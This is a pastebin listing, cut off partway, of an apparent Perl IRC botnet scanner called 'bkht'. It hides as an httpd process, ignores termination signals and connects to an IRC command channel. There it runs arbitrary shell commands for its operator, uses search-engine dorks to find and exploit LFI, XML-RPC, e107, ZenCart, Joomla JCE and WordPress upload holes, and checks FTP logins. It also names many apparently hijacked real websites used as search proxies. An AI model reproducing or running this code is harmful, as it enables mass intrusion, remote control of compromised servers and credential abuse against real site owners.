uyap

scanner bkht 2

May 14th, 2014
1,390
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 169.30 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use HTTP::Request;
  4. use HTTP::Request::Common;
  5. use HTTP::Request::Common qw(POST);
  6. use LWP::Simple;
  7. use LWP 5.64;
  8. use LWP::UserAgent;
  9. use Socket;
  10. use IO::Socket;
  11. use IO::Socket::INET;
  12. use IO::Select;
  13. use MIME::Base64;
  14. use URI::Escape;
  15. use Digest::MD5 qw(md5_hex);
  16.  
  17.  
  18. my $datetime = localtime;
  19. my $number = int(rand(100));
  20. my $fakeproc = "/usr/sbin/httpd";
  21. my $ircserver = "irc.ownzirc.org";
  22. my $ircport = "6667";
  23. my $nickname = "BKHT[".$number."]";
  24. my $ident = "bkht";
  25. my $channel = "#bkht";
  26. my $chanxxx = "#bkht";
  27. my $admin = "uyap";
  28. my $fullname = "9,1[4!9]15[Fairy Tail]";
  29. my $rawmsg = $ARGV[4];
  30. my $msgraw = $ARGV[5];
  31.  
  32. my $nob0dy = "9,1[4!9]15[Fairy Tail]";
  33. my $lfilogo = "9,1[4!9]15Lfi 4<9=4> ";
  34. my $xmllogo = "9,1[4!9]15Xml 4<9=4> ";
  35. my $e107logo = "9,1[4!9]15E107 4<9=4> ";
  36. my $zenlogo = "9,1[4!9]15ZenCart 4<9=4> ";
  37. my $jcelogo = "9,1[4!9]15JcE 4<9=4> ";
  38. my $rcilogo = "9,1[4!9]15RcI 4<9=4> ";
  39. my $ffmlogo = "9,1[4!9]15FFM 4<9=4> ";
  40. my $cgmlogo = "9,1[4!9]15CGM 4<9=4> ";
  41. my $carilogo = "9,1[4!9]15Find 4<9=4> ";
  42. my $lficmd = "!lfi";
  43. my $xmlcmd = "!xml";
  44. my $e107cmd = "!e107";
  45. my $zencmd = "!zen";
  46. my $jcecmd = "!jce".$number."";
  47. my $rcicmd = "!rci".$number."";
  48. my $ffmcmd = "!ffm".$number."";
  49. my $cgmcmd = "!cgm".$number."";
  50. my $cmdlfi = "!cmdlfi".$number."";
  51. my $cmdxml = "!cmdxml".$number."";
  52. my $ftpcmd = "!ftp";
  53. my $botxx = "http://tarmim.pl/Albasoul/alb.txt";
  54. my $timot = 10;
  55. my $silentmode = 0;
  56. my $uagent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6";
  57. my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000";
  58. my $jpath = "?____pgfa=http%253A%252F%252Fwww.google.com%252Fsearch?q=";
  59. my $jackae = "http://www.ffc.net.cn/images/stories/eror.php".$jpath;
  60. my $jackar = "http://www.freesip.gr//images/stories/eror.php".$jpath;
  61. my $jackat = "http://pegaso.anahuac.mx/re/images/stories/eror.php".$jpath;
  62. my $jackau = "http://mth.000a.biz/images/stories/eror.php".$jpath;
  63. my $jackbr = "http://www.curciotrasporti.eu//administrator/components/com_jnewsletter/includes/openflashchart/tmp-upload-images/error.php".$jpath;
  64. my $jackca = "http://www.quorumcomunicaciones.cl/images/stories/errors.php".$jpath;
  65. my $jackcl = "http://www.sicoobcard.com.br/portal/images/stories/errors.php".$jpath;
  66. my $jackcn = "http://viewwebinars.com/wp-includes/errors.php".$jpath;
  67. my $jackcom = "http://www.neuralsoft.ca/brainavm/images/stories/error.php".$jpath;
  68. my $jackcz = "http://www.fluiditysoftware.com/FluidMathFreeTrial/images/stories/error.php".$jpath;
  69. my $jackde = "http://www.ortodontie.ro/images/stories/error.php".$jpath;
  70. my $jackdk = "http://wtgroup.co.jp/worldtech/images/stories/errors.php".$jpath;
  71. my $jackes = "http://sme-detachering.nl/images/stories/errors.php".$jpath;
  72. my $jackeu = "http://liftoffconsulting.ca/wp-includes/errors.php".$jpath;
  73. my $jackfr = "http://www.iessaladillo.es/web/images/stories/errors.php".$jpath;
  74. my $jackhu = "http://www.colorblend.it/sito/images/stories/errors.php".$jpath;
  75. my $jackid = "http://www.trona.k12.ca.us/images/stories/errors.php".$jpath;
  76. my $jackil = "http://enet.sbcss.k12.ca.us/images/stories/errors.php".$jpath;
  77. my $jackin = "http://fmfribuay.org.ar/v2/images/stories/errors.php".$jpath;
  78. my $jackinfo = "http://www.ahoracalafate.com.ar/images/stories/errors.php".$jpath;
  79. my $jackir = "http://liftoffconsulting.ca/wp-includes/errors.php".$jpath;
  80. my $jackit = "http://liftoffconsulting.ca/wp-includes/errors.php".$jpath;
  81. my $jackjp = "http://www.mariasalse.com.ar//images/stories/errors.php".$jpath;
  82. my $jackkr = "http://www.icteurope.de/en//images/stories/errors.php".$jpath;
  83. my $jackmx = "http://viewwebinars.com/wp-includes/errors.php".$jpath;
  84. my $jackmy = "http://www.sexshop-intimos.com.ar/articulos//images/stories/errors.php".$jpath;
  85. my $jacknet = "http://www.ffc.net.cn/images/stories/eror.php".$jpath;
  86. my $jacknl = "http://pneusluka.cz/images/stories/eror.php".$jpath;
  87. my $jackorg = "http://viewwebinars.com/wp-includes/errors.php".$jpath;
  88. my $jackph = "http://www.lax.ayz.pl/grycek/images/stories/eror.php".$jpath;
  89. my $jackpl = "http://www.przedszkole315.waw.pl/images/stories/eror.php".$jpath;
  90. my $jackro = "http://www.play4real.biz/images/stories/eror.php".$jpath;
  91. my $jackru = "http://viewwebinars.com/wp-includes/errors.php".$jpath;
  92. my $jackth = "http://viewwebinars.com/wp-includes/errors.php".$jpath;
  93. my $jackua = "http://liftoffconsulting.ca/wp-includes/errors.php".$jpath;
  94. my $jackuk = "http://liftoffconsulting.ca/wp-includes/errors.php".$jpath;
  95. my $jackus = "http://liftoffconsulting.ca/wp-includes/errors.php".$jpath;
  96. my $jacksi = "http://liftoffconsulting.ca/wp-includes/errors.php".$jpath;
  97. my $jackbe = "http://viewwebinars.com/wp-includes/errors.php".$jpath;
  98. my $jackbiz = "http://mth.000a.biz/images/stories/eror.php".$jpath;
  99. my $engine = "GooGLe,GooGLe2,WaLLa,YaHoo,NadJi,GuTSeR,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam,WeBCrawLeR,PaGiNa,CaDa,WitCh,aMidaLLa,KvaSiR,BaiDu,GiBLa,MyWeBSearcH,DogPile,TeoMa,VolUnIa,IzItO,AmFibi,AnAnZi,RiCeRca,AvG,FiReBaLL,DmoZ,YahooHK,RambLer,MaMa,Msn,IaMSeaCrh,PaPa,Ask2,Bypass,Bypass2,GiGaBLaST,SnZ,Commercial,Network,UniTed,Poland,Russian,Turkey,Ukraine,Australia,Brazil,Czech,Romania,Netherlands,Canada,Kingdom,Germany,Organization,Territory,Chile,Samoa,Spain,Indonesia,Thailand,Morocco,France,Sweden,Italy,Hungary,Mexico,Bulgaria,Bolivia,Slovenia,Switzerland,Latvia,Kenya,Singapore,Kazakhstan,Vietnam,Lithuania,Information,Mozambique,Iceland,Austria,Greece,India,Malaysia,Europe,Japan,Andorra,Helena,Portugal,Israel,Argentina,Belarus,Moldova,Cocos,Proffessional,Biz,Philippines,Netherlands,SouthAfrica,Montenegro,Biztro,Denmark,Mozambique,Television,Iceland,Switzerland,Liechtenstein,PuertoRico,UnitedStates,Search66,Hispeed,Kazakhstan,Moldova,Honduras,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoHK,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK";
  100. my @jpaths = ('/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart',
  101. '/administrator/components/com_acymailing/inc/openflash',
  102. '/administrator/components/com_jnewsletter/includes/openflashchart',
  103. '/administrator/components/com_jinc/classes/graphics',
  104. '/administrator/components/com_maianmedia/utilities/charts',
  105. '/administrator/components/com_jnews/includes/openflashchart');
  106. my $jvuln = "/php-ofc-library/ofc_upload_image.php";
  107. my $jshell = "/tmp-upload-images/lobex21.php";
  108. $SIG{'INT'} = 'IGNORE';
  109. $SIG{'HUP'} = 'IGNORE';
  110. $SIG{'TERM'} = 'IGNORE';
  111. $SIG{'CHLD'} = 'IGNORE';
  112. $SIG{'PS'} = 'IGNORE';
  113. #chdir("/");
  114. $ircserver = "$ARGV[0]" if $ARGV[0];
  115. $ircport = "$ARGV[1]" if $ARGV[1];
  116. $nickname = "$ARGV[2]" if $ARGV[2];
  117. $channel = '#'."$ARGV[3]" if $ARGV[3];
  118. $0 = "$fakeproc"."\0" x 16;
  119. my $pid = fork;
  120. exit if $pid;
  121. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  122.  
  123. our %irc_servers;
  124. our %DCC;
  125. my $dcc_sel = new IO::Select->new();
  126. $sel_client = IO::Select->new();
  127. sub sendraw {
  128. if ($#_ == '1') {
  129. my $socket = $_[0];
  130. print $socket "$_[1]\n";
  131. } else {
  132. print $IRC_cur_socket "$_[0]\n";
  133. }
  134. }
  135. sub connector {
  136. my $mynick = $_[0];
  137. my $ircserver_con = $_[1];
  138. my $ircport_con = $_[2];
  139. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  140. if (defined($IRC_socket)) {
  141. $IRC_cur_socket = $IRC_socket;
  142. $IRC_socket->autoflush(1);
  143. $sel_client->add($IRC_socket);
  144. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  145. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  146. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  147. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  148. nick("$mynick");
  149. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  150. sleep(1);}}
  151.  
  152. sub parse {
  153. my $servarg = shift;
  154. if ($servarg =~ /^PING \:(.*)/) {
  155. sendraw("PONG :$1");
  156. }
  157. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  158. if (lc($1) eq lc($mynick)) {
  159. $mynick = $4;
  160. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  161. }
  162. }
  163. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  164. nick($mynick.int(rand(5)));
  165. }
  166. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  167. $mynick = $2;
  168. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  169. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  170. sendraw("MODE $mynick +Bx");
  171. sendraw("NS id qwe123");
  172. sleep(3);
  173. sendraw("JOIN $channel correct");
  174. sendraw("JOIN $chanxxx mejen");
  175. sleep(1);
  176. sendraw("PRIVMSG $channel :9,1[4!9]15 + Jce , Rci Scanner - Chegou =D !!!");
  177. sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  178. }
  179. }
  180.  
  181. my $line_temp;
  182. while( 1 ) {
  183. while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  184. select(undef, undef, undef, 0.01);
  185. delete($irc_servers{''}) if (defined($irc_servers{''}));
  186. my @ready = $sel_client->can_read(0);
  187. next unless(@ready);
  188. foreach $fh (@ready) {
  189. $IRC_cur_socket = $fh;
  190. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  191. $nread = sysread($fh, $ircmsg, 4096);
  192. if ($nread == 0) {
  193. $sel_client->remove($fh);
  194.  
  195. $fh->close;
  196. delete($irc_servers{$fh});
  197. }
  198. @lines = split (/\n/, $ircmsg);
  199. $ircmsg =~ s/\r\n$//;
  200. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  201. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  202. if ($path eq $mynick) {
  203. if ($msg =~ /^PING (.*)/) {
  204. sendraw("NOTICE $nick :PING $1");
  205. }
  206. if ($msg =~ /^VERSION/) {
  207. sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
  208. }
  209. if ($msg =~ /^TIME/) {
  210. sendraw("NOTICE $nick :TIME ".$datetime."");
  211. }
  212. if (&isAdmin($nick) && $msg eq "!die") {
  213. &shell("$path","kill -9 $$");
  214. }
  215. if (&isAdmin($nick) && $msg eq "!killall") {
  216. &shell("$path","killall -9 perl");
  217. }
  218. if (&isAdmin($nick) && $msg eq "!reset") {
  219. sendraw("QUIT :Restarting...");
  220. }
  221. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  222. sendraw("JOIN #".$1);
  223. }
  224. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  225. sendraw("PART #".$1);
  226. }
  227. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  228. sendraw("NICK ".$1);
  229. }
  230. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  231. sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  232. }
  233. if (&isAdmin($nick) && $msg !~ /^!/) {
  234. &shell("$nick","$msg");
  235. }
  236. if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
  237. sendraw("$rawmsg $msgraw ".$1);
  238. }
  239. if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
  240. sendraw("PRIVMSG $rawmsg ".$1);
  241. }
  242. if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
  243. sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
  244. }
  245. if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
  246. $newtimot = $1;
  247. $timot = $newtimot;
  248. &msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
  249. }
  250. if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
  251. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  252. $newchan = $1;
  253. $chanxxx = $newchan;
  254. &msg("$admin","9,1 xChan change to4 $chanxxx ");
  255. }}}
  256. }
  257. else {
  258. if (&isAdmin($nick) && $msg eq "!die") {
  259. &shell("$path","kill -9 $$");
  260. }
  261. if (&isAdmin($nick) && $msg eq "!killall") {
  262. &shell("$path","killall -9 perl");
  263. }
  264. if (&isAdmin($nick) && $msg eq "!reset") {
  265. sendraw("QUIT :Restarting...");
  266. }
  267. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  268. sendraw("JOIN #".$1);
  269. }
  270. if (&isAdmin($nick) && $msg eq "!part") {
  271. sendraw("PART $path");
  272. }
  273. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  274. sendraw("PART #".$1);
  275. }
  276. if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  277. &shell("$path","$1");
  278. }
  279. if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  280. &shell("$path","$1");
  281. }
  282. if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) {
  283. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  284. $smod = $1;
  285. if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
  286. elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
  287. &msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!");
  288. }}}
  289. if ($msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
  290. my $url = $1.$lfdtest;
  291. my $cmd = $2;
  292. &cmdlfi($url,$cmd,$path);
  293. }
  294. if ($msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
  295. my $url = $1;
  296. my $cmd = $2;
  297. &cmdxml($url,$cmd,$path);
  298. }
  299. if ($msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
  300. my $url = $1;
  301. my $cmd = $2;
  302. &cmde107($url,$cmd,$path);
  303. }
  304. ##################################################################### HELP COMMAND
  305. if ($msg=~ /^!help/) {
  306. my $helplogo = "9,1[4!9]15Help 4<9=4> ";
  307. &msg("$path","$helplogo9LFI Vuln Scan:15 $lficmd [bug] [dork] ");
  308. &msg("$path","$helplogo9XML Vuln Scan:15 $xmlcmd [bug] [dork] ");
  309. &msg("$path","$helplogo9e107 Vuln Scan:15 $e107cmd [dork] ");
  310. &msg("$path","$helplogo9ZenCart Vuln Scan:15 $zencmd [dork] ");
  311. &msg("$path","$helplogo9Joomla CE Vuln Scan:15 $jcecmd [dork] ");
  312. &msg("$path","$helplogo9Joomla Exploit:15 $rcicmd [dork] ");
  313. }
  314. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  315. &msg("$nick","6Fake Process/PID : $fakeproc - $$");
  316. }
  317. ##################################################################### SCAN
  318. if ($msg =~ /!cari\s+(.*)/) {
  319. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  320. my $find = $1;
  321. &msg($path,"$carilogo9 Searching 15$find ");
  322. &cari($path,$find);
  323. } exit; }
  324. }
  325. if ($msg =~ /^$lficmd\s+(.+?)\s+(.*)/) {
  326. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  327. my ($bug,$dork) = ($1,$2);
  328. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan LFI di 4$path ");
  329. &msg("$path","$lfilogo9Dork 4<9=4>15 $dork ");
  330. &msg("$path","$lfilogo9Bugz 4<9=4>15 $bug ");
  331. &msg("$path","$lfilogo9Search Engine 4<9=4>15 Loading ");
  332. &se_start($path,$bug,$nick,$dork,$engine,1);
  333. }
  334. }
  335. }
  336. if ($msg =~ /^$xmlcmd\s+(.+?)\s+(.*)/) {
  337. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  338. my ($bug,$dork) = ($1,$2);
  339. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan XML di 4$path ");
  340. &msg("$path","$xmllogo9Dork 4<9=4>15 $dork ");
  341. &msg("$path","$xmllogo9Bugz 4<9=4>15 $bug ");
  342. &msg("$path","$xmllogo9Search Engine 4<9=4>15 Loading ");
  343. &se_start($path,$bug,$nick,$dork,$engine,2);
  344. }
  345. }
  346. }
  347. if ($msg =~ /^$e107cmd\s+(.*)/) {
  348. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  349. if (&isFound($thumbid,"GIF89")) {
  350. my ($bug,$dork) = ("contact.php",$1);
  351. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan E107 di 4$path ");
  352. &msg("$path","$e107logo9Dork 4<9=4>15 $dork ");
  353. &msg("$path","$e107logo9Search Engine 4<9=4>15 Loading ");
  354. &se_start($path,$bug,$nick,$dork,$engine,3);
  355. } else {
  356. &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
  357. }
  358. }
  359. }
  360. }
  361. if ($msg =~ /^$zencmd\s+(.*)/) {
  362. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  363. my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
  364. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan ZenCart di 4$path ");
  365. &msg("$path","$zenlogo9Dork 4<9=4>15 $dork ");
  366. &msg("$path","$zenlogo9Search Engine 4<9=4>15 Loading ");
  367. &se_start($path,$bug,$nick,$dork,$engine,4);
  368. }
  369. }
  370. }
  371. if ($msg =~ /^$jcecmd\s+(.*)/) {
  372. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  373. my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20",$1);
  374. my $check = &read_dorks($dork);
  375. if ($check == 1) {
  376. &msg("$path","$jcelogo9Denied $nick, 15Dork Already Scanned "); exit;
  377. } else {
  378. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan JcE di 4$path ");
  379. &sendraw("mode $path +m");
  380. &msg("$path","$jcelogo9Dork 4<9=4>15 $dork ");
  381. &msg("$path","$jcelogo9Search Engine 4<9=4>15 Loading ");
  382. &write_dorks($dork);
  383. &se_start($path,$bug,$nick,$dork,$engine,5);
  384. }
  385. }
  386. }
  387. }
  388. if ($msg =~ /^$ffmcmd\s+(.*)/) {
  389. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  390. my ($bug,$dork) = ("wp-content/plugins/front-file-manager/upload.php",$1);
  391. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan FFM di 4$path ");
  392. &msg("$path","$ffmlogo9Dork 4<9=4>15 $dork ");
  393. &msg("$path","$ffmlogo9Search Engine 4<9=4>15 Loading ");
  394. &se_start($path,$bug,$nick,$dork,$engine,6);
  395. }
  396. }
  397. }
  398. if ($msg =~ /^$rcicmd\s+(.*)/) {
  399. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  400. my ($bug,$dork) = ("",$1);
  401. my $check = &read_dorks($dork);
  402. if ($check == 1) {
  403. &msg("$path","$rcilogo9Denied $nick, 15Dork Already Scanned "); exit;
  404. } else {
  405. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan RcI di 4$path ");
  406. &sendraw("mode $path +m");
  407. &msg("$path","$rcilogo9Dork 4<9=4>15 $dork ");
  408. &msg("$path","$rcilogo9Search Engine 4<9=4>15 Loading ");
  409. &se_start($path,$bug,$nick,$dork,$engine,7);
  410. &write_dorks($dork);
  411. }
  412. }
  413. }
  414. }
  415. if ($msg =~ /^$cgmcmd\s+(.*)/) {
  416. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  417. my ($bug,$dork) = ("wp-content/plugins/complete-gallery-manager/frames/upload-images.php",$1);
  418. &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan CGM di 4$path ");
  419. &msg("$path","$cgmlogo9Dork 4<9=4>15 $dork ");
  420. &msg("$path","$cgmlogo9Search Engine 4<9=4>15 Loading ");
  421. &se_start($path,$bug,$nick,$dork,$engine,8);
  422. }
  423. }
  424. }
  425. if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
  426. my $url = $_[0];
  427. my $host = $_[1];
  428. my $user = $_[2];
  429. my $pass = $_[3];
  430. if (my $pid = fork) {
  431. waitpid($pid, 0);
  432. } else {
  433. if (fork) { exit; } else {
  434. my ($host,$user,$pass) = ($1,$2,$3);
  435. &msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");
  436. my $success = 1;
  437. use Net::FTP;
  438. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  439. $success = 0 if $ftp->login($user,$pass);
  440. $ftp->quit;
  441. if ($success == 0) {
  442. &notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
  443. } else {
  444. &notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");
  445.  
  446. }
  447. }
  448. }
  449. }
  450. }
  451. }
  452. for(my $c=0; $c<= $#lines; $c++) {
  453. $line = $lines[$c];
  454. $line = $line_temp.$line if ($line_temp);
  455. $line_temp = '';
  456. $line =~ s/\r$//;
  457. unless ($c == $#lines) {
  458.  
  459. parse("$line");
  460. } else {
  461. if ($#lines == 0) {
  462. parse("$line");
  463. } elsif ($lines[$c] =~ /\r$/) {
  464. parse("$line");
  465. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  466. parse("$line");
  467. } else {
  468. $line_temp = $line;
  469. }
  470. }
  471. }
  472. }
  473. }
  474.  
  475. ##################################################################################
  476.  
  477. sub lobex() {
  478. my $dork = $_[0];
  479. my @targets;
  480. for (my $st=0; $st<=1000 ; $st+=100){
  481. my $engine = "http://www.google.com/search?q=".uri_escape($dork)."&num=100&start=".$st;
  482. my $browser = &search_engine_query($engine);
  483. while ($browser =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  484. my $target = $1;
  485. if ($target !~ /google|forum|stackoverflow|php\.net/) {
  486. my @sort = split(/\.php/,$target);
  487. push (@targets,$sort[0]);
  488. }
  489. }
  490. }
  491. return @targets;
  492. }
  493.  
  494. sub cari() {
  495. my $chan = $_[0];
  496. my $dork = $_[1];
  497. my $count = 0;
  498. my @kotor = &lobex($dork);
  499. my @target = &clean(@kotor);
  500. my $num = scalar(@target); &msg($chan,"$carilogo9 Total 4[15$num4]9 sites");
  501. if ($num > 0) {
  502. foreach my $site(@target) {
  503. $count++;
  504. if ($count == $num-1) {
  505. &msg("$chan","$carilogo9Finished 15for 9$dork ");
  506. }
  507. my $test = "http://".$site.".php?src=".$thumbshell;
  508. if (my $pid = fork) { waitpid($pid, 0); } else {
  509. if (fork) { exit; } else {
  510. my $coba = &get_content($test);
  511. if ($coba =~ /Unable to open image/) {
  512. &msg($chan,"$carilogo9 VulN 4-> 15 http://".$site.".php ");
  513. }
  514. } exit;
  515. }
  516. }
  517. }
  518. }
  519.  
  520. sub type() {
  521. my ($chan,$bug,$nick,$dork,$engine,$type) = @_;
  522. if ($type == 1){$type=&lfi_exploit($chan,$bug,$nick,$dork,$engine);}
  523. elsif ($type == 2){$type=&xml_exploit($chan,$bug,$nick,$dork,$engine);}
  524. elsif ($type == 3){$type=&e107_exploit($chan,$bug,$nick,$dork,$engine);}
  525. elsif ($type == 4){$type=&zen_exploit($chan,$bug,$nick,$dork,$engine);}
  526. elsif ($type == 5){$type=&jce_exploit($chan,$bug,$nick,$dork,$engine);}
  527. elsif ($type == 6){$type=&ffm_exploit($chan,$bug,$nick,$dork,$engine);}
  528. elsif ($type == 7){$type=&rci_exploit($chan,$bug,$nick,$dork,$engine);}
  529. elsif ($type == 8){$type=&cgm_exploit($chan,$bug,$nick,$dork,$engine);}
  530. }
  531.  
  532. ##################################################################################
  533.  
  534. sub se_start() {
  535. my ($chan,$bug,$nick,$dork,$engine,$type) = @_;
  536. if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKAE",$type); } exit; } }
  537. if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKAR",$type); } exit; } }
  538. if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKAT",$type); } exit; } }
  539. if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKAU",$type); } exit; } }
  540. if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKBR",$type); } exit; } }
  541. if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCA",$type); } exit; } }
  542. if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCL",$type); } exit; } }
  543. if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCN",$type); } exit; } }
  544. if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCoM",$type); } exit; } }
  545. if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCZ",$type); } exit; } }
  546. if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKDE",$type); } exit; } }
  547. if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKDK",$type); } exit; } }
  548. if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKES",$type); } exit; } }
